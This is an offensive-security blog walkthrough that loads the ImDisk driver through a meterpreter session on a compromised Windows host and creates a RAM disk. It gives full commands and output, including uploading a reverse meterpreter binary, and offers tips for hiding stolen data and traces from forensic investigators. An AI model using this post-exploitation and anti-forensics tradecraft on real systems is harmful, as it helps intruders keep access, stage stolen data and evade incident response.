Creating a ram disk through meterpreter

The magical ‘in memory execution‘ option of meterpreter is of course one of the better options that we as attackers love to use. However if you want to store ‘random files’ in memory or need to execute more complex applications which contain dependencies on other files, there is no ‘in memory’ option for that as far as i know. To be more specific, on Linux you can do it with build in commands, on Windows you need to install third party software (list of ram drive software). I decided to dig into it and see if I could achieve this through a meterpreter session. The reasons for wanting a ram disk are multiple, if you are still wondering:

• store stolen data in memory only, until you can move it
• execute applications which require multiple files
• running multiple legitimate files from memory

You might be asking, why not use it to bypass AV? This is of course possible, but you would need to modify the driver for this to work and ask Microsoft to sign it. To bypass AV there are enough methods available in my opinion, I sometimes just want to be able to store multiple files in memory.

Where to start? I decided to start with the ImDisk utility for two reason:

• It is open source
• It has a signed driver

The first reason allows me to better understand the under the hood stuff, the second reason allows me to use it on Windows versions that require a signed driver. First thing I tried is to use the bundled tools, but it seems that the command line interface has a dependency on the control panel dll file. I tried a quick recompile, but then I thought, why not code my own version? The original version includes, amongst other things, the ability to load and save the ram disk as an image file and for the moment I won’t be needing that functionality. So i decided to code my own reduced functionality version of the original client. It would have been easier to just use the original client, but this was more fun and thought me a thing or two about driver communication.

The original source code was very very clear, which made it a breeze to hack together some code to talk to the driver. I still need to add way more error handling, but for now it does the job and you can use it through meterpreter. Be aware of the fact that it still leaves traces on the regular hard disk, like explained in this blog. A short overview of the traces left behind:

• The dropped driver
• The registry modifications to load the driver
  • The driver loading does not use a service, thus there is no evidence of a service creation
• The mounted ram disk
• Traces of files executed or placed on the ram disk

For me the benefits of having an easy way to execute multiple files from memory outweigh the above mentioned forensic artefacts. In addition it becomes more difficult to retrieve the original files, unless the incident response team creates a memory image or has access to a pre-installed host agent which retrieves the files from the ram disk. Let’s get practical, here is how to use it through a meterpreter session (I won’t go into details on how to obtain the meterpreter session):

Uploading the needed files

• cliramdisk.exe
• imdisk.sys
• imdiskdriver.reg

The executable can be compiled from the source on github, the driver can be retrieved from the imdisk official installer and the registry file is an export from an installed imdisk setup. Yes, if you are doing this during a red team, you need to rethink some of these steps :) If you are wondering about pre-compiled binaries I’ll put those online when the code is a bit more clean. Until then, download visual studio and compile the binaries.

msf exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2…

meterpreter > upload cliramdisk.exe
[*] uploading : cliramdisk.exe -> cliramdisk.exe
[*] Uploaded 110.50 KiB of 110.50 KiB (100.0%): cliramdisk.exe -> cliramdisk.exe
[*] uploaded : cliramdisk.exe -> cliramdisk.exe
meterpreter > upload imdisk.sys
[*] uploading : imdisk.sys -> imdisk.sys
[*] Uploaded 47.56 KiB of 47.56 KiB (100.0%): imdisk.sys -> imdisk.sys
[*] uploaded : imdisk.sys -> imdisk.sys
meterpreter > upload imdiskdriver.reg
[*] uploading : imdiskdriver.reg -> imdiskdriver.reg
[*] Uploaded 1.12 KiB of 1.12 KiB (100.0%): imdiskdriver.reg -> imdiskdriver.reg
[*] uploaded : imdiskdriver.reg -> imdiskdriver.reg

Installing the driver

meterpreter > shell
Process 3520 created.
Channel 4 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Users\clean\Desktop>reg import imdiskdriver.reg
The operation completed successfully.

C:\Users\clean\Desktop>copy imdisk.sys c:\windows\system32\drivers\
1 file(s) copied.

C:\Users\clean\Desktop>cliramdisk.exe i
driver has been loaded

If you want to place the driver in a different folder you need to adjust the registry path. It would of course be less forensic noisy if you’d use the meterpreter build in registry command ;)

Listing & creating the ram disk

C:\Users\clean\Desktop>cliramdisk.exe c 209715200 R: 0
Device has been created
define dos device OK \Device\ImDisk0

C:\Users\clean\Desktop>format R: /FS:NTFS /Q /y
The type of the file system is RAW.
The new file system is NTFS.
QuickFormatting 200.0 MB
Creating file system structures.
Format complete.
200.0 MB total disk space.
197.8 MB are available.

The above creates 200MB ram disk and formats it with the NTFS file system (protip: don’t use NTFS if you want to leave less traces for our forensics colleagues). You might think, why mount it on a driver letter and not on a folder? Folder mounting is on the todo list, since that is also supported by the original client. You can also list the underlying ‘file’  that supports the ram disk, since you need this information to create the ram disk and to delete it:

C:\Users\clean\Desktop>cliramdisk.exe l
\Device\ImDisk0

I haven’t yet looked into it, but you can only create ram disks on non-existent devices. When you have deleted all ram disks the underlying devices will disappear after a reboot.

Using and deleting the ram disk

meterpreter > upload ../revmet4444.exe R:/
[*] uploading : ../revmet4444.exe -> R:/
[*] uploaded : ../revmet4444.exe -> R:/\revmet4444.exe
meterpreter > shell
Process 308 created.
Channel 6 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Users\clean\Desktop>R:
R:\>dir
Volume in drive R has no label.
Volume Serial Number is E4CE-9E31

Directory of R:\

08/06/2018 08:31 AM 7,168 revmet4444.exe
1 File(s) 7,168 bytes
0 Dir(s) 195,043,328 bytes free

Like you can see, you can now upload directly to the ram disk, thereby not touching the original disk. As for deleting the ram disk, for now it is done in a rather abrupt way. Make sure you don’t have anything on there that is worth keeping or even worse an application that still has a lock on a file on the ram disk.

C:\Users\clean\Desktop>cliramdisk.exe l
\Device\ImDisk0

C:\Users\clean\Desktop>cliramdisk.exe d 0
device removed

C:\Users\clean\Desktop>R:
The system cannot find the drive specified.

C:\Users\clean\Desktop>cliramdisk.exe u
driver has been unloaded

C:\Users\clean\Desktop>cliramdisk.exe l
createfile failed 2
ioctl get list failed

The above commands shows listing the ram disk underlying ‘file’. Deleting it and then showing that the ram disk is no longer available. Additionally it shows the unloading of the driver, hence why the client cannot communicate with the driver anymore. The last step would be to delete the files and registry entry, but that together with an approach which is less forensic friendly is left as an exercise to the reader ;)